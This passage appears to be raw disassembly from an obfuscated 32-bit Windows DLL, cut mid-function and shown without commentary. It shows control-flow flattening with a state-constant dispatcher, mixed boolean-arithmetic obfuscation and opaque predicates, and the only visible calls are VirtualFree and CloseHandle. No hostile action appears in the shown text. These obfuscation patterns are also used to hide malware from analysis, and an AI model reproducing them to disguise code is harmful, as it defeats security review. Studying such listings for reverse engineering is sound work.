xor cl, 1
or cl, al
mov bl, dh
xor bl, 1
and ch, ah
mov bh, byte [esp]
and bh, dl
or bh, ch
or dl, ah
xor bh, 1
mov al, bh
xor al, dl
or bh, dl
xor bh, 1
or bh, al
mov dl, bh
xor dl, 1
mov eax, edx
xor al, dh
and bl, dl
or dl, dh
xor dl, 1
or dl, al
and bh, dh
or bh, bl
mov ah, bh
xor ah, 1
mov dh, dl
mov ch, ah
or ah, dl
xor dl, 1
and dh, dl
xor dh, 1
mov al, dl
xor al, dh
or dh, dl
and ch, bh
xor dh, 1
or dh, al
xor ch, 1
mov al, bh
xor al, ch
or ch, bh
xor ch, 1
or ch, al
xor ch, dh
xor ch, 1
mov al, ch
xor al, ah
or ah, ch
xor ah, 1
or ah, al
mov dl, ah
xor dl, 1
mov al, dl
and al, ah
xor dl, al
xor al, 1
or al, ah
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov edx, eax
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
and dl, al
xor dl, 1
mov ah, dl
xor ah, al
or dl, al
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
mov al, ah
and al, dl
xor al, 1
or al, dl
xor al, 1
or al, ah
xor al, 1
xor ah, al
or al, dl
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ah, cl
xor ah, 1
mov ch, dl
and ch, al
xor ch, 1
or ch, dl
mov dh, dl
and dh, cl
mov dl, ah
and dl, al
or dl, dh
xor dl, ah
and dl, cl
and ah, cl
xor ah, 1
mov dh, ah
xor dh, cl
or ah, cl
xor ah, 1
or ah, dh
xor ch, 1
or ch, al
xor ch, 1
mov al, ah
xor al, ch
or ch, ah
xor al, 1
and al, ah
xor al, 1
mov cl, al
xor cl, ch
or al, ch
xor al, 1
or al, cl
mov ah, al
xor ah, 1
mov ecx, edx
xor cl, 1
mov ch, ah
and ch, cl
and ah, dl
and dl, al
or dl, ch
xor dl, 1
or dl, cl
and cl, al
xor dl, 1
or cl, ah
xor cl, dl
mov eax, ecx
not al
and al, dl
test cl, 1
mov edx, 0x55f43297
mov esi, 0x4a60f2b3
jmp 0x1001ae68
cmp edi, 0x4b513a83
jg 0x1001d6c7
cmp edi, 0x49db7fe1
je 0x10023bc7
cmp edi, 0x4a60f2b3
jne 0x10011930
push 0x8000
push 0
push dword [esp + 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [0x1004f908]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, edx
mov edi, edx
mov dword [esp + 4], edx
and eax, 0x6b08a625
mov ebp, ecx
mov edx, ecx
mov dword [esp], ecx
and ebp, 0x94f759da
or ebp, eax
mov eax, ebp
xor eax, 0x21040
xor ebp, 0x6b08a625
mov ecx, ebp
and ecx, 0x90d80006
and eax, 0xa023060
or eax, ecx
xor eax, 0x90d80006
and ebp, 0x200000
or ebp, eax
mov esi, ebp
xor esi, 0x200000
mov eax, ebp
xor eax, 0xffdfffff
mov ebx, eax
mov dword [esp + 8], eax
mov eax, edi
and eax, 0x61233778
mov ecx, edx
and ecx, 0x9edcc887
or ecx, eax
xor ecx, 0xfbd9071e
mov edx, ecx
xor edx, edi
and edx, ecx
xor ebp, 0x3754266a
and ebp, ebx
mov eax, esi
and eax, 0x888a1004
or eax, ebp
mov dword [esp + 0xc], eax
mov ebp, edx
not ebp
mov edi, edx
xor edi, 0x3774266a
mov ecx, edi
and ecx, ebp
mov eax, ecx
not eax
mov ebx, eax
and ebx, 0x75eacdef
and ecx, 0x8a153210
or ecx, ebx
and edi, edx
mov ebx, edi
not ebx
or eax, ebx
and ebx, 0x75eacdef
and edi, 0x8a153210
or edi, ebx
xor edi, ecx
not eax
or eax, edi
mov edi, dword [esp + 0xc]
and edi, 0xbfff7e7f
xor edi, eax
mov eax, esi
and eax, 0x98222060
mov ecx, dword [esp + 8]
and ecx, 0x67dd141e
or ecx, eax
or esi, edx
and edx, 0x9822ebe1
and ebp, 0x67dd141e
or ebp, edx
xor ebp, ecx
not esi
or esi, ebp
not esi
or esi, edi
mov edi, esi
xor edi, 0x6505cf99
xor esi, 0x9afa3066
mov edx, edi
or edx, 0x595ca5ea
mov eax, esi
and eax, 0x595ca5ea
and edi, 0xa6a35a15
or edi, eax
mov eax, edi
not eax
mov ecx, edx
and ecx, 0x93cda517
and esi, 0x24225a00
or esi, ecx
or edx, eax
and eax, 0x93cda517
and edi, 0x6c325ae8
or edi, eax
xor edi, esi
not edx
or edx, edi
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xa303805f
mov esi, edx
and esi, 0x8006920
or esi, ecx
mov ecx, esi
xor ecx, 0x8002100
xor esi, 0x257d9646
or eax, 0x2101c866
and esi, 0x257dde66
and ecx, 0x8a022119
or ecx, esi
and eax, 0x257dde66
and edx, 0x50800080
or edx, eax
xor edx, ecx
mov edi, edx
mov dword [esp + 8], edx
xor edi, 0x54fc1680
mov ebp, dword [esp + 4]
mov eax, ebp
and eax, 0x369b056c
mov ebx, dword [esp]
mov ecx, ebx
and ecx, 0xc964fa93
or ecx, eax
mov eax, ecx
xor eax, 0x4a080
xor ecx, 0x80448
mov esi, ebp
or esi, 0x4948044a
or ecx, 0x26831804
and ecx, 0x6fcb1c4e
and eax, 0x1014a1a0
or eax, ecx
and esi, 0x6fcb1c4e
mov ecx, ebx
and ecx, 0x80204211
or ecx, esi
xor ecx, eax
mov esi, ecx
not esi
mov eax, esi
and eax, 0x85ae7b97
and ecx, 0x7a518468
or ecx, eax
and ebx, 0x85ae7b97
mov eax, ebp
and eax, 0x7a518468
or eax, ebx
xor eax, ecx
xor esi, eax
and esi, eax
mov ebx, edx
xor ebx, 0xab03e97f
mov eax, ebx
and eax, 0xe3115b67
mov ebp, edi
and ebp, 0x1ceea498
or ebp, eax
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0x2aff6b7a
mov edx, esi
and edx, 0xd5009485
or edx, eax
mov eax, dword [esp + 8]
xor eax, 0x64cc6820
and eax, edi
xor ebp, 0x1ceea498
xor edx, 0xd5009485
or edx, ebp
mov ebp, edx
and ebx, 0x20006ea0
and edi, 0x10301000
or edi, ebx
xor edi, 0x10301000
or eax, edi
mov edx, eax
mov eax, ecx
and eax, 0xa7904d12
mov ebx, esi
and ebx, 0x586fb2ed
or ebx, eax
mov eax, ebx
xor eax, 0x586fb2ed
xor ebx, 0x97a033b2
and ebx, eax
or ecx, 0x30307ea0
mov edi, ebx
not edi
mov eax, edi
and eax, 0xd8bf3734
and ebx, 0x2740c8cb
or ebx, eax
or edi, ecx
and ecx, 0xd8bf3734
and esi, 0x740804b
or esi, ecx
xor esi, ebx
not edi
or edi, esi
mov esi, edi
xor esi, edi
not esi
and esi, edx
xor esi, edi
mov ecx, esi
and esi, ebp
mov eax, ebp
not eax
not ecx
mov edx, eax
xor edx, ecx
and edx, eax
and ecx, eax
or ecx, esi
mov eax, edx
not eax
mov esi, ecx
not esi
mov edi, eax
and edi, 0x7a26b3f0
and edx, 0x85d94c0f
or edx, edi
or eax, esi
and esi, 0x7a26b3f0
and ecx, 0x85d94c0f
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov esi, eax
not esi
mov ecx, esi
and ecx, 0x6014a04
mov edx, eax
and edx, 0x80201001
or edx, ecx
xor edx, 0x80201001
mov ecx, esi
and ecx, 0x20820010
or ecx, edx
mov edi, ecx
xor edi, 0x6a35a15
or edi, 0x5950014a
and ecx, 0xa0a04000
and edi, 0x5f531b5f
or edi, ecx
mov ecx, edi
xor ecx, 0x5f531b5f
xor edi, 0xa400a0
mov edx, esi
and edx, 0xa6a35a15
and eax, 0x595ca5ea
or eax, edx
xor esi, eax
and esi, eax
and edi, 0x58f50ba1
mov edx, ecx
and edx, 0xa6025014
or edx, edi
xor edx, 0xa70af45e
mov eax, esi
mov edi, esi
xor edi, 0x34b6fe78
and edi, esi
not esi
mov ebx, edx
and ebx, 0x34b67e78
and ecx, 0x82010005
or ecx, ebx
or eax, 0xcb490187
mov ebx, edi
not ebx
mov ebp, eax
and ebp, 0xcf58c5e2
or edx, esi
and esi, 0x30a63a18
or esi, ebp
or eax, ebx
and ebx, 0xcf58c5e2
and edi, 0x30a73a1d
or edi, ebx
xor edi, esi
not eax
or eax, edi
xor eax, ecx
xor eax, 0x8000
not edx
or edx, eax
mov edi, edx
not edi
mov ecx, edi
or ecx, 1
mov esi, edx
or esi, 0xb0ffd734
and esi, 0xb0ffd735
and ecx, 0xb0ffd735
mov eax, edx
and eax, 0x4f0028ca
or eax, ecx
xor eax, esi
mov esi, eax
not esi
mov ecx, edi
and ecx, esi
and eax, edx
or eax, ecx
xor esi, eax
and esi, eax
mov dword [esp], esi
mov eax, edi
or eax, 0x402b004a
mov ecx, edx
or ecx, 0x2231
and ecx, 0x402b227b
mov esi, edi
and esi, 0x100004
or esi, ecx
and eax, 0x402b227b
mov ebx, edx
and ebx, 0x82000000
or ebx, eax
xor ebx, esi
mov eax, ebx
xor eax, 0x82002231
mov esi, eax
mov dword [esp + 8], eax
mov eax, ebx
xor eax, 0x7dffddce
mov ecx, eax
and edi, 0xadfbae3c
and edx, 0x520451c3
or edx, edi
mov eax, edx
xor eax, 0x520451c3
xor edx, 0x858baa20
and edx, 0xc78beae0
mov edi, eax
and edi, 0x3874151f
or edi, edx
xor edi, 0x5b0c89f
and eax, 0xc23b227f
or eax, edi
xor ebx, 0x48bfe9c0
mov dword [esp + 4], ecx
and ebx, ecx
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0xc4130474
and ebx, 0x22c2a0b
or ebx, edx
mov edx, ecx
or edx, 0xcabfcbf1
or ebp, edx
and edx, 0xcc93c5f4
mov ecx, esi
and ecx, 0x200a
or ecx, edx
xor ecx, ebx
mov edi, eax
xor edi, 0x3540340e
and edi, eax
not ebp
or ebp, ecx
mov edx, edi
not edx
mov ecx, edx
and ecx, 0xd95765d7
and edi, 0x26a89a28
or edi, ecx
mov esi, eax
not esi
mov ecx, eax
or ecx, 0xcabfcbf1
or edx, ecx
and ecx, 0xd95765d7
mov ebx, esi
and ebx, 0x24001008
or ebx, ecx
xor ebx, edi
not edx
or edx, ebx
xor edx, ebp
mov edi, dword [esp + 8]
mov ecx, edi
and ecx, 0x8031004d
mov ebx, dword [esp + 4]
and ebx, 0x4fcefeb2
or ebx, ecx
or edi, esi
and esi, 0xb031014d
and eax, 0x4fcefeb2
or eax, esi
xor eax, ebx
not edi
or edi, eax
not edi
or edi, edx
mov edx, edi
xor edx, 0x3dc4dd81
mov ebp, dword [esp]
mov eax, ebp
not eax
mov dword [esp + 4], eax
and eax, 0xcdba8d27
mov ecx, ebp
and ecx, 0x324572d8
or ecx, eax
mov eax, ecx
xor eax, 0x12447018
xor edi, 0xc23b227e
xor ecx, 0xcdba8d27
mov esi, ecx
and esi, 0xad3106e1
and eax, 0x52cef91e
or eax, esi
mov esi, edx
and esi, 0xad3106e1
mov ebx, edi
and ebx, 0x52cef91e
or ebx, esi
xor ebx, eax
or ecx, edx
not ecx
or ecx, ebx
mov ebx, dword [esp + 4]
mov eax, ebx
and eax, 0xf58e471e
mov esi, ebp
and esi, 0xa71b8e1
or esi, eax
xor esi, 0xf58e471e
or esi, edi
not esi
and edi, 0x6e4e361b
and edx, 0x91b1c9e4
or edx, edi
xor edx, 0x6e4e361b
or edx, ebx
not edx
or edx, esi
mov edi, edx
not edi
mov dword [esp], edi
mov eax, edx
xor eax, 0x92f2842e
and eax, edi
or edi, 0x92f2842e
mov ebx, eax
not ebx
mov ebp, ebx
and ebp, 0x2538f9ed
and eax, 0xdac70612
or eax, ebp
or ebx, edi
and edi, 0x2538f9ed
mov ebp, edx
and ebp, 0x48050210
or ebp, edi
mov edi, ecx
not edi
xor ebp, eax
mov esi, ecx
xor esi, 0xd050a00
not ebx
or ebx, ebp
mov ebp, ecx
xor ebp, 0x80e2000e
and ebp, 0xe0ea71df
and esi, 0x1f158e20
or esi, ebp
xor esi, ebx
mov ebx, esi
xor ebx, 0xe0ea71df
mov ebp, edi
and ebp, 0x608db05
and ecx, 0xf9f724fa
or ecx, ebp
or edi, edx
and edx, 0x608db05
mov eax, dword [esp]
and eax, 0xf9f724fa
or eax, edx
xor eax, ecx
not edi
or edi, eax
mov ecx, edi
not ecx
xor esi, 0x1f158e20
mov edx, esi
and edx, 0x9222db45
and ebx, 0x6ddd24ba
or ebx, edx
or esi, edi
and edi, 0x9222db45
and ecx, 0x6ddd24ba
or ecx, edi
xor ecx, ebx
not esi
or esi, ecx
mov ecx, esi
not ecx
mov edx, esi
xor edx, 0x8f3905a6
and edx, esi
mov eax, ecx
mov edi, esi
mov ebx, ecx
and ebx, esi
mov ebp, ecx
and ebp, 0x8917dcb5
and esi, 0x76e8234a
or esi, ebp
xor esi, 0x76e8234a
or esi, ebx
not esi
or esi, ecx
and ecx, 0x8f3905a6
or edx, ecx
mov ecx, edx
xor ecx, 0x50041818
xor edx, 0xa210102
and edx, 0x2ae3e343
and ecx, 0xd51c1cbc
or ecx, edx
mov edx, ecx
xor edx, 0x80101010
xor ecx, 0x804242
and ecx, 0x1804ee2
and edx, 0xa0329110
or edx, ecx
xor edx, 0xa0329110
or eax, 0x1a20812
and edi, 0x5801200c
and eax, 0x7ee0813
or eax, edi
mov ecx, eax
xor ecx, 0x7ee0813
or ecx, edx
xor eax, 0x5801200c
and eax, 0x5e4d200d
mov edx, ecx
xor edx, 0x5e4d200d
and edx, ecx
or edx, eax
mov ecx, edx
not ecx
and edx, 0xaf13ed04
and ecx, 0x50ec12fb
or ecx, edx
mov edi, ecx
xor edi, 0x25126400
xor ecx, 0x50ac12fa
and ecx, 0xdaad9bfe
and edi, 0x25526401
or edi, ecx
mov ecx, edi
xor ecx, 0x50281830
xor edi, 0x21402400
and ecx, 0x543a5831
and edi, 0xabc5a7ce
or edi, ecx
mov ebp, edi
xor ebp, 0x543a5831
mov dword [esp], ebp
mov eax, esi
not eax
mov edx, esi
and edx, 0xbf874457
mov ecx, eax
and ecx, 0x4078bba8
or ecx, edx
xor edi, 0xabc5a7ce
mov edx, edi
and edx, 0x1df1f6ef
and ebp, 0xe20e0910
or ebp, edx
mov ebx, ecx
xor ebx, 0x40080900
xor ecx, 0x1d814447
and ecx, 0x1df1f6ef
and ebx, 0xe20e0910
or ebx, ecx
xor ebx, ebp
mov edx, ebx
xor edx, edi
and edx, ebx
and edi, 0xc0021421
mov ebx, dword [esp]
mov ecx, ebx
and ecx, 0x1b81e00e
or ecx, edi
xor ecx, 0x1b81e00e
and ebx, 0x247c0bd0
or ebx, ecx
mov ecx, eax
or ecx, 0x242c0940
mov edi, esi
or edi, 0x5802f021
and ecx, 0x7c2ef961
and esi, 0x8381040e
or esi, ecx
and edi, 0x7c2ef961
and eax, 0x500290
or eax, edi
xor eax, esi
mov edi, eax
xor edi, eax
not edi
and edi, ebx
xor edi, eax
mov eax, edi
xor eax, 0x4466cb14
and eax, edi
not edi
mov ecx, edx
mov esi, edx
xor esi, 0x4466cb14
and esi, edx
or edx, 0xbb9934eb
not ecx
mov ebx, ecx
or ecx, edi
and edi, 0x4466cb14
or eax, edi
mov edi, esi
not edi
mov ebp, edx
and ebp, 0x9153148a
and ebx, 0x4424cb14
or ebx, ebp
or edx, edi
and edi, 0x9153148a
and esi, 0x6eaceb75
or esi, edi
xor esi, ebx
not edx
or edx, esi
xor edx, eax
not ecx
or ecx, edx
mov edx, ecx
not edx
mov eax, ecx
or eax, 0x10214200
mov esi, edx
or esi, 0x22502410
and eax, 0x32716610
mov edi, edx
and edi, 0xc9868123
or edi, eax
and esi, 0x32716610
mov eax, ecx
and eax, 0x40818cc
or eax, esi
xor eax, edi
mov edi, eax
xor edi, 0x10294244
xor eax, 0xebd6a533
and edi, 0xb969e246
mov esi, eax
and esi, 0x46961db9
or esi, edi
xor esi, 0x46961db9
or esi, eax
mov edi, ecx
and edi, 0x1fa933f8
mov eax, edx
and eax, 0xe056cc07
or eax, edi
mov edi, eax
xor edi, 0x1fa933f8
xor eax, edi
xor eax, 0xe056cc07
and eax, esi
or esi, edi
not esi
xor eax, edi
or eax, esi
and edx, 0x52fada93
and ecx, 0xad05256c
or ecx, edx
mov edx, ecx
xor edx, 0x25002064
xor ecx, 0x5220da91
and ecx, 0xda25df99
and edx, 0x25da2066
or edx, ecx
mov ebx, edx
xor ebx, 0xda25df99
mov ecx, eax
not ecx
mov edi, ecx
and edi, 0xa1220220
mov esi, eax
and esi, 0xc409e
or esi, edi
mov edi, esi
xor edi, 0x409a
xor esi, 0xfff3bf61
mov ebp, edx
xor ebp, 0x5400064
and ebp, 0x4f450074
xor edx, 0x7b0b9d27
and edx, ebx
and ebx, 0xb0baff8b
or ebx, ebp
mov ebp, ebx
xor ebp, 0xb0baff8b
xor ebx, 0xee6b42ca
and ebx, ebp
mov ebp, eax
xor ebp, 0xa12e42be
and ebp, eax
or edx, ebx
mov ebx, esi
and ebx, 0xca1d9e64
and edi, 0x2122409a
or edi, ebx
mov ebx, ebp
not ebx
or esi, ebx
and ebx, 0xca1d9e64
and ebp, 0x35e2619b
or ebp, ebx
xor ebp, edi
not esi
or esi, ebp
mov edi, edx
xor edi, edx
not edi
and edi, esi
xor edi, edx
not edi
and ecx, 0x3b44cffa
and eax, 0xc4bb3005
or eax, ecx
xor eax, 0xc4bb3005
or eax, edi
xor eax, 0xffffffff
setne cl
sete al
cmp dword [0x1004f90c], 0xa
setl ch
setge dl
mov ah, dl
inc ah
or ch, al
or cl, dl
mov dh, cl
xor dh, ch
or cl, ch
xor cl, 1
or dh, dl
or dh, cl
xor dh, 1
or dh, dl
mov cl, dh
mov bl, dh
xor cl, 1
mov bh, cl
mov byte [esp + 8], cl
and dl, ah
xor dl, 1
mov cl, ah
xor cl, dl
or dl, ah
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
mov dh, dl
and dh, cl
xor dh, 1
or dh, dl
xor dh, 1
or dh, cl
xor dh, al
mov ah, dh
xor ah, 1
mov ch, dh
and ch, ah
xor ch, 1
or ah, ch
xor ah, 1
or ah, dh
mov byte [esp], ah
xor ah, 1
mov al, bh
mov byte [esp + 4], bl
and al, bl
xor al, 1
mov cl, bl
xor cl, al
or al, bl
xor al, 1
or al, cl
mov cl, al
xor cl, 1
mov bh, al
and bh, cl
xor bh, 1
or bh, cl
xor bh, 1
or bh, al
xor bh, 1
or bh, al
mov dl, bh
xor dl, 1
mov al, byte [esp]
mov byte [esp + 0xc], ah
and al, ah
mov bl, al
xor bl, ah
and bl, al
mov al, ch
xor al, dh
or ch, dh
xor ch, 1
or ch, al
mov al, bh
xor al, byte [esp + 4]
mov cl, byte [esp + 8]
mov dh, cl
xor dh, dl
or dl, cl
xor dl, 1
or dl, al
and dh, cl
or bh, cl
xor dh, 1
mov al, dh
xor al, bh
or dh, bh
mov bh, dl
xor bh, 1
xor dh, 1
or dh, al
mov al, bh
and al, dl
xor al, 1
mov cl, al
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov cl, dh
xor cl, 1
mov ah, al
and al, cl
xor cl, dl
xor ah, 1
and ah, dh
or dh, bh
xor dh, 1
or dh, cl
mov bh, ch
xor bh, 1
xor dh, 1
or dh, al
or dh, ah
mov cl, ch
mov eax, ebx
and al, bh
or ch, bl
xor bh, bl
and bh, bl
xor bl, 1
and cl, bl
or al, cl
xor al, 1
or al, bl
mov cl, al
xor cl, 1
xor bh, 1
mov dl, ch
xor dl, bh
or bh, ch
xor bh, 1
or bh, dl
mov dl, bh
xor dl, 1
mov ah, bh
and ah, al
or bh, cl
and cl, dl
or cl, ah
xor dl, al
xor bh, 1
or bh, dl
xor cl, 1
mov eax, ecx
xor al, bh
or cl, bh
xor cl, 1
or cl, al
mov dl, cl
xor dl, 1
mov eax, edx
and al, cl
xor dl, al
xor al, 1
or al, cl
mov bl, dh
xor bl, 1
xor al, 1
or al, dl
and bl, dh
xor bl, 1
mov ecx, ebx
xor cl, dh
or bl, dh
mov edx, eax
xor dl, 1
xor bl, 1
or bl, cl
mov ch, al
and ch, dl
xor ch, 1
or ch, dl
xor ch, 1
or ch, al
xor ch, bl
movzx edx, byte [esp + 0xc]
mov ah, byte [esp + 8]
xor ah, dl
and ah, dl
mov cl, byte [esp]
mov al, byte [esp + 4]
or cl, al
xor dl, al
and dl, al
xor dl, 1
mov al, cl
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov cl, ah
xor cl, 1
mov al, dl
xor al, 1
and dl, cl
or cl, al
and al, ah
or al, dl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ah, al
xor ah, 1
mov cl, al
and cl, ah
xor cl, 1
or cl, al
mov dl, ch
xor dl, 1
xor cl, 1
or cl, ah
mov al, ch
xor al, cl
or ch, cl
xor ch, 1
or ch, al
and al, cl
or cl, dl
xor al, 1
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov cl, al
and al, ch
xor ch, 1
xor cl, 1
mov dl, ch
xor dl, cl
and dl, ch
and cl, ch
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x55f43297
mov esi, 0x6c83e67
cmovne eax, esi
test cl, 1
mov edi, eax
cmovne edi, esi
jmp 0x10026c01
cmp edi, 0xfe1ba853
jg 0x1001e264
cmp edi, 0xf22e65d7
je 0x1001191d
cmp edi, 0xf488d0e4
jne 0x10011930
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 0x78a5598d
mov dword [esp + 0x1c], 1
jmp 0x10011930
cmp edi, 0x78a5598c
jg 0x1001e286
cmp edi, 0x77d7df4e
je 0x10023be0
cmp edi, 0x786798cb
jne 0x10011930
mov eax, dword [0x1004f908]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, ecx
mov ebx, ecx
and eax, 0x5f200490
mov ecx, edx
mov ebp, edx
and ecx, 0x414000
or ecx, eax
xor ecx, 0x414000
mov edx, ebx
and edx, 0xa09ebb6f
or edx, ecx
mov eax, edx
not eax
and edx, 0x379bf6ea
mov ecx, eax
and ecx, 0xc8640915
or ecx, edx
xor ecx, 0xa7dc6cd4
and eax, 0x90479a3e
or eax, ecx
mov ecx, ebx
and ecx, 0x6fb865c1
mov edx, ebp
and edx, 0x90479a3e
or edx, ecx
mov ecx, edx
xor ecx, ebx
and ecx, edx
mov edx, ecx
and ecx, eax
not eax
not edx
mov esi, eax
xor esi, edx
and esi, eax
and edx, eax
or edx, ecx
or edx, esi
mov eax, edx
xor eax, 0x8002122c
mov ecx, edx
xor ecx, 0x6fb865c1
and eax, 0xaeb2576d
xor edx, 0x9602a22
and edx, ecx
mov esi, ecx
and esi, 0x514da892
or esi, eax
mov eax, esi
xor eax, 0x514da892
mov ecx, eax
and ecx, 0x66d84fe3
or edx, ecx
mov ecx, edx
xor ecx, 0x8186341
or eax, 0x17bf1455
xor esi, 0x8000020
and esi, 0x800a0a0
and eax, 0x37ff1c55
or eax, esi
mov esi, eax
xor esi, 0x20400800
xor edx, 0xb16718bc
xor eax, 0xc800e3aa
mov edi, edx
and edi, 0x5683842a
and ecx, 0xa97c7bd5
or ecx, edi
or edx, eax
and eax, 0x5683842a
and esi, 0x28402880
or esi, eax
xor esi, ecx
not edx
or edx, esi
mov esi, ebx
mov dword [esp + 4], ebx
mov eax, ebx
and eax, 0xf6b5d7ad
mov dword [esp + 8], ebp
mov ecx, ebp
and ecx, 0x94a2852
or ecx, eax
mov eax, ecx
xor eax, 0x1020000
xor ecx, 0x12008581
or esi, 0x120085c1
or ecx, 0x68d8281a
and ecx, 0x7ad8addb
and eax, 0x85225004
or eax, ecx
and esi, 0x7ad8addb
mov ecx, ebp
and ecx, 0x50220
or ecx, esi
xor ecx, eax
mov esi, ecx
xor esi, 0x68dd2a3a
mov eax, ecx
xor eax, 0x9722d5c5
mov edi, eax
and edi, 0x463574c7
xor ecx, 0x2ee85efd
and ecx, esi
or ecx, edi
mov ebx, edx
not ebx
xor ecx, 0x918a2398
or eax, 0x28008800
and esi, 0x4114560e
and eax, 0xbeab8951
or eax, esi
xor eax, 0xbeab8951
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xbf13b32e
and eax, 0x40ec4cd1
or eax, ecx
mov esi, eax
xor esi, 0x9102220e
xor eax, 0x44480
and eax, 0x2e15d5a0
and esi, 0xd1ea2a5f
or esi, eax
mov ebp, edx
and ebp, ebx
mov eax, edx
and eax, 0xe9868b05
mov edi, ebx
and ebx, 0x167974fa
or ebx, eax
not ebx
or ebx, edx
and edx, 0x32c7c257
and edi, 0xcd383da8
or edi, edx
mov ecx, esi
xor ecx, 0xd1ea2a5f
xor edi, 0xcd383da8
or ebp, edi
xor esi, 0x2e15d5a0
mov edx, ecx
or edx, 0x68000020
and edx, 0x78040c6f
mov eax, esi
and eax, 0x5fbf280
or eax, edx
mov edx, esi
and edx, 0x1e29ec5a
mov edi, ecx
and ecx, 0xe1d613a5
or ecx, edx
xor ecx, 0x85098a0
or ecx, esi
or esi, 0x10040c4f
and esi, 0x78040c6f
and edi, 0x82000110
or edi, esi
xor edi, eax
mov esi, edi
mov edx, ebp
mov dword [esp + 0x14], ebp
mov eax, ebp
not eax
mov dword [esp + 0xc], eax
and eax, 0xa6dca323
and edx, 0x59235cdc
or edx, eax
mov eax, edx
xor eax, 0x59235cdc
xor edx, 0x610a221
and edx, 0x5611eab1
mov edi, eax
and edi, 0xa9ee154e
or edi, edx
xor edi, 0x40689e4b
and eax, 0x167974fa
or eax, edi
mov dword [esp], esi
mov edi, esi
xor edi, 0xea000130
mov dword [esp + 0x10], edi
mov edx, esi
xor esi, 0x15fffecf
mov edx, esi
and edx, 0xd127c71f
and edi, 0x2ed838e0
or edi, edx
xor edi, 0xc75eb3e5
mov edx, edi
xor edx, esi
mov ebp, esi
and edx, edi
mov edi, eax
xor edi, ebx
or ebx, eax
mov esi, edi
not esi
mov eax, esi
and eax, 0x78edc6d8
and edi, 0x87123927
or edi, eax
mov eax, ebx
not eax
or esi, ebx
and ebx, 0x78edc6d8
and eax, 0x87123927
or eax, ebx
xor eax, edi
not esi
or esi, eax
mov eax, edx
not eax
mov edi, eax
and eax, 0x1667c7ac
and edx, 0xe9983853
or edx, eax
or edi, ecx
xor edx, ecx
mov ecx, edx
xor ecx, 0xe9983853
xor edx, 0x1667c7ac
mov eax, edx
and eax, 0x53ac164b
and ecx, 0xac53e9b4
or ecx, eax
xor ecx, edi
or edx, edi
xor ecx, 0xac53e9b4
not edx
or edx, ecx
mov edi, esi
not edi
mov eax, edx
not eax
mov ecx, eax
xor ecx, edi
and ecx, edx
and eax, 0xdf883482
and edx, 0x2077cb7d
or edx, eax
xor edx, edi
xor edx, 0x2077cb7d
and edx, esi
or edx, ecx
mov eax, dword [esp + 0x14]
mov ecx, eax
xor ecx, 0x55fa94ea
and ecx, eax
mov esi, dword [esp + 0xc]
and esi, 0x80299dfb
and eax, 0x7fd66204
or eax, esi
mov esi, dword [esp]
xor esi, 0xbffa95da
mov ebx, dword [esp + 0x10]
and esi, ebx
mov dword [esp], esi
and ebp, 0x59cedf9e
and ebx, 0xa6312061
or ebx, ebp
mov edi, eax
xor edi, 0x7fd66204
mov dword [esp + 0xc], edi
mov esi, eax
xor esi, 0xd5d30911
and esi, edi
mov ebp, esi
not ebp
mov edi, ebp
and edi, 0x21112e9
and esi, 0xfdeeed16
or esi, edi
mov edi, ecx
not edi
or ebp, edi
and edi, 0x21112e9
and ecx, 0xfdeeed16
or ecx, edi
xor ecx, esi
not ebp
or ebp, ecx
mov ecx, ebx
xor ecx, 0x59cedf9e
mov dword [esp + 0x10], ecx
or ecx, 0xaa056b15
mov esi, ebx
xor ebx, 0x4000020
mov edi, ecx
and edi, 0x227222c7
and ebx, 0x55889428
or ebx, edi
mov edi, dword [esp]
not edi
or ecx, edi
and edi, 0x227222c7
and dword [esp], 0xdd8ddd38
add dword [esp], edi
mov edi, dword [esp]
xor edi, ebx
not ecx
or ecx, edi
xor ecx, ebp
xor eax, 0x80299dfb
mov edi, eax
and edi, 0x9b57450
mov ebx, dword [esp + 0xc]
and ebx, 0xf64a8baf
or ebx, edi
xor esi, 0xa6000021
mov edi, dword [esp + 0x10]
or eax, edi
and edi, 0x9b57450
and esi, 0xf64a8baf
or esi, edi
xor esi, ebx
not eax
or eax, esi
mov esi, ecx
not esi
mov edi, esi
and edi, 0x92aaa62b
and ecx, 0x6d5559d4
or ecx, edi
mov edi, eax
not edi
or esi, eax
and eax, 0x92aaa62b
and edi, 0x6d5559d4
or edi, eax
xor edi, ecx
not esi
or esi, edi
mov ecx, esi
xor ecx, 0x82b668e5
and ecx, esi
mov eax, esi
not eax
or eax, ecx
not ecx
and ecx, 0x7d49971a
and eax, 0x82b668e5
or eax, ecx
mov esi, eax
not esi
mov ecx, edx
xor ecx, esi
and ecx, edx
and esi, 0x79629033
and eax, 0x869d6fcc
or eax, esi
xor eax, edx
xor eax, 0x79629033
or eax, ecx
mov edi, eax
not edi
mov ecx, edi
and ecx, 0xdc6edbc1
mov edx, eax
and edx, 0x2391243e
or edx, ecx
mov ecx, edx
xor ecx, 0x20012016
xor edx, 0xd0628980
and edx, 0xd3f28da8
and ecx, 0x2c0d7257
or ecx, edx
mov esi, ecx
xor esi, 0x11400120
xor ecx, 0x4010001
and ecx, 0x4218081
and esi, 0x19400130
or esi, ecx
xor esi, 0x19400130
or esi, 0xe29e7e4e
mov ecx, edi
and ecx, 0x4b4766f0
and eax, 0xb4b8990f
or eax, ecx
xor eax, 0x5626e741
xor edi, eax
and edi, eax
mov eax, edi
not eax
mov dword [esp], eax
and eax, 0xcdc6ba30
mov edx, edi
